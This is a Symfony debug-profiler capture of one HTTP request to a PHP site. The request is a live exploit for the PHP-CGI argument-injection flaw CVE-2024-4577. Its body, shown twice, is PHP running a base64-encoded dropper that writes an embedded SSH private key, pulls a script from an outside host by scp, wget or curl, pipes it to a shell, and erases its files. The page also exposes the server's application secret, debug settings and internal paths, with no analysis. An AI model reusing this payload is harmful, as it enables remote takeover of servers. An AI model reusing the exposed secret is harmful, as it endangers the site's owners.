POST https://148.206.58.20/index.php/?%25ADd%20allow_url_include%3D1%20%25ADd%20auto_prepend_file%3Dphp%3A%2F%2Finput=

Response
302 Found
IP
107.174.26.188
Profiled on
Token
eeafea

PortadaController :: index

Request

GET Parameters

Key Value
%ADd_allow_url_include=1_%ADd_auto_prepend_file=php://input 
""

POST Parameters

Key Value
<?php_shell_exec(base64_decode("Y2QgL3RtcCB8fCBjZCAvdmFyL3RtcCB8fCBjZCAvZGV2L3NobTsgZWNobyAnLS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFNd0FBQUF0emMyZ3RaVwpReU5UVXhPUUFBQUNEdmVFdCtKdElWWkdCVkliVmtIdmRrdlFxZE1pYWZ1NS9JTU92ZWxIL3l4Z0FBQUpBdDhGRFJMZkJRCjBRQUFBQXR6YzJndFpXUXlOVFV4T1FBQUFDRHZlRXQrSnRJVlpHQlZJYlZrSHZka3ZRcWRNaWFmdTUvSU1PdmVsSC95eGcKQUFBRUFyMXdsKzNKSGtqQTNadFB0amQ4YkF0TFZGbzEzZVoxMkF3MlFuRlhDL2llOTRTMzRtMGhWa1lGVWh0V1FlOTJTOQpDcDB5SnArN244Z3c2OTZVZi9MR0FBQUFDR1JzY2tCelpuUndBUUlEQkFVPQotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0nID4ga2V5LnBwazsgZWNobyAnU3RyaWN0SG9zdEtleUNoZWNraW5nIG5vClVzZXJLbm93bkhvc3RzRmlsZSAvZGV2L251bGwnID4gc3NoY2ZnOyBjaG1vZCA0MDAga2V5LnBwazsgc2NwIC1zIC1GIHNzaGNmZyAtaSBrZXkucHBrIGRsckAyMTcuNjAuMTAyLjU6c2ggb3V0X3NoOyBpZiBbICQ/IC1lcSAwIF07IHRoZW4gY2htb2QgK3ggb3V0X3NoOyBzaCBvdXRfc2ggY3ZlXzIwMjRfNDU3NyA_L2Rldi9udWxsIDI_JjE7IGVsc2UgKHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoIHx8IGN1cmwgLXNrIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc7IGZpOyBybSAtcmYgc3NoY2ZnIGtleS5wcGsgb3V0X3No"));_echo(md5("Hello_CVE-2024-4577"));_?> 
""

Uploaded Files

No files were uploaded

Request Attributes

Key Value
_controller 
"App\Controller\PortadaController::index"
_firewall_context 
"security.firewall.map.context.main"
_route 
"sistema"
_route_params 
[]
_security_firewall_run 
"_security_main"
_stopwatch_token 
"cf2938"

Request Headers

Header Value
accept 
"*/*"
connection 
"keep-alive"
content-length 
"1189"
content-type 
"application/x-www-form-urlencoded"
host 
"148.206.58.20:443"
upgrade-insecure-requests 
"1"
user-agent 
"libredtail-http"
x-php-ob-level 
"1"

Request Content

Raw

<?php shell_exec(base64_decode("Y2QgL3RtcCB8fCBjZCAvdmFyL3RtcCB8fCBjZCAvZGV2L3NobTsgZWNobyAnLS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFNd0FBQUF0emMyZ3RaVwpReU5UVXhPUUFBQUNEdmVFdCtKdElWWkdCVkliVmtIdmRrdlFxZE1pYWZ1NS9JTU92ZWxIL3l4Z0FBQUpBdDhGRFJMZkJRCjBRQUFBQXR6YzJndFpXUXlOVFV4T1FBQUFDRHZlRXQrSnRJVlpHQlZJYlZrSHZka3ZRcWRNaWFmdTUvSU1PdmVsSC95eGcKQUFBRUFyMXdsKzNKSGtqQTNadFB0amQ4YkF0TFZGbzEzZVoxMkF3MlFuRlhDL2llOTRTMzRtMGhWa1lGVWh0V1FlOTJTOQpDcDB5SnArN244Z3c2OTZVZi9MR0FBQUFDR1JzY2tCelpuUndBUUlEQkFVPQotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0nID4ga2V5LnBwazsgZWNobyAnU3RyaWN0SG9zdEtleUNoZWNraW5nIG5vClVzZXJLbm93bkhvc3RzRmlsZSAvZGV2L251bGwnID4gc3NoY2ZnOyBjaG1vZCA0MDAga2V5LnBwazsgc2NwIC1zIC1GIHNzaGNmZyAtaSBrZXkucHBrIGRsckAyMTcuNjAuMTAyLjU6c2ggb3V0X3NoOyBpZiBbICQ/IC1lcSAwIF07IHRoZW4gY2htb2QgK3ggb3V0X3NoOyBzaCBvdXRfc2ggY3ZlXzIwMjRfNDU3NyA+L2Rldi9udWxsIDI+JjE7IGVsc2UgKHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoIHx8IGN1cmwgLXNrIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc7IGZpOyBybSAtcmYgc3NoY2ZnIGtleS5wcGsgb3V0X3No")); echo(md5("Hello CVE-2024-4577")); ?>

Response

Response Headers

Header Value
cache-control 
"no-cache, private"
content-type 
"text/html; charset=utf-8"
date 
"Thu, 15 Oct 2026 03:23:09 GMT"
location 
"/index.php/portada"
x-debug-token 
"eeafea"

Cookies

Request Cookies

No request cookies

Response Cookies

No response cookies

Session 1

Session Metadata

No session metadata

Session Attributes

No session attributes

Session Usage

1 Usages
Stateless check enabled
Usage
Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage:41
Show trace 
[
  [
    "file" => "/var/www/comunidad/vendor/symfony/security-core/Authentication/Token/Storage/UsageTrackingTokenStorage.php"
    "line" => 41
    "function" => "getMetadataBag"
    "class" => "Symfony\Component\HttpFoundation\Session\Session"
    "type" => "->"
  ]
  [
    "file" => "/var/www/comunidad/vendor/symfony/framework-bundle/Controller/AbstractController.php"
    "line" => 364
    "function" => "getToken"
    "class" => "Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage"
    "type" => "->"
  ]
  [
    "file" => "/var/www/comunidad/src/Controller/PortadaController.php"
    "line" => 17
    "function" => "getUser"
    "class" => "Symfony\Bundle\FrameworkBundle\Controller\AbstractController"
    "type" => "->"
  ]
  [
    "file" => "/var/www/comunidad/vendor/symfony/http-kernel/HttpKernel.php"
    "line" => 181
    "function" => "index"
    "class" => "App\Controller\PortadaController"
    "type" => "->"
  ]
  [
    "file" => "/var/www/comunidad/vendor/symfony/http-kernel/HttpKernel.php"
    "line" => 76
    "function" => "handleRaw"
    "class" => "Symfony\Component\HttpKernel\HttpKernel"
    "type" => "->"
  ]
  [
    "file" => "/var/www/comunidad/vendor/symfony/http-kernel/Kernel.php"
    "line" => 197
    "function" => "handle"
    "class" => "Symfony\Component\HttpKernel\HttpKernel"
    "type" => "->"
  ]
  [
    "file" => "/var/www/comunidad/vendor/symfony/runtime/Runner/Symfony/HttpKernelRunner.php"
    "line" => 35
    "function" => "handle"
    "class" => "Symfony\Component\HttpKernel\Kernel"
    "type" => "->"
  ]
  [
    "file" => "/var/www/comunidad/vendor/autoload_runtime.php"
    "line" => 29
    "function" => "run"
    "class" => "Symfony\Component\Runtime\Runner\Symfony\HttpKernelRunner"
    "type" => "->"
  ]
  [
    "file" => "/var/www/comunidad/public/index.php"
    "line" => 5
    "args" => [
      "/var/www/comunidad/vendor/autoload_runtime.php"
    ]
    "function" => "require_once"
  ]
]

Flashes

Flashes

No flash messages were created.

Server Parameters

Server Parameters

Defined in .env

Key Value
APP_ENV 
"dev"
APP_SECRET 
"5d8d65f4baefd11d372af8ea51926bf0"
MAILER_DSN 
"null://null"

Defined as regular env variables

Key Value
APP_DEBUG 
"1"
CONTENT_LENGTH 
"1189"
CONTENT_TYPE 
"application/x-www-form-urlencoded"
CONTEXT_DOCUMENT_ROOT 
"/var/www/comunidad/public"
CONTEXT_PREFIX 
""
DOCUMENT_ROOT 
"/var/www/comunidad/public"
FCGI_ROLE 
"RESPONDER"
GATEWAY_INTERFACE 
"CGI/1.1"
HOME 
"/usr/share/httpd"
HTTPS 
"on"
HTTP_ACCEPT 
"*/*"
HTTP_CONNECTION 
"keep-alive"
HTTP_HOST 
"148.206.58.20:443"
HTTP_UPGRADE_INSECURE_REQUESTS 
"1"
HTTP_USER_AGENT 
"libredtail-http"
PATH 
"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin"
PHP_SELF 
"/index.php"
QUERY_STRING 
"%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input"
REMOTE_ADDR 
"107.174.26.188"
REMOTE_PORT 
"36650"
REQUEST_METHOD 
"POST"
REQUEST_SCHEME 
"https"
REQUEST_TIME 
1792034589
REQUEST_TIME_FLOAT 
1792034589.6054
REQUEST_URI 
"/index.php?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input"
SCRIPT_FILENAME 
"/var/www/comunidad/public/index.php"
SCRIPT_NAME 
"/index.php"
SCRIPT_URI 
"https://148.206.58.20/index.php"
SCRIPT_URL 
"/index.php"
SERVER_ADDR 
"148.206.58.20"
SERVER_ADMIN 
"webmaster@localhost"
SERVER_NAME 
"148.206.58.20"
SERVER_PORT 
"443"
SERVER_PROTOCOL 
"HTTP/1.1"
SERVER_SIGNATURE 
""
SERVER_SOFTWARE 
"Apache/2.4.62 (Rocky Linux) OpenSSL/3.5.8"
SYMFONY_DOTENV_VARS 
"APP_ENV,APP_SECRET,MAILER_DSN"
UNIQUE_ID 
"atBHHYu6bVkWc2-Ak0obYQAAAAg"
USER 
"apache"
proxy-nokeepalive 
"1"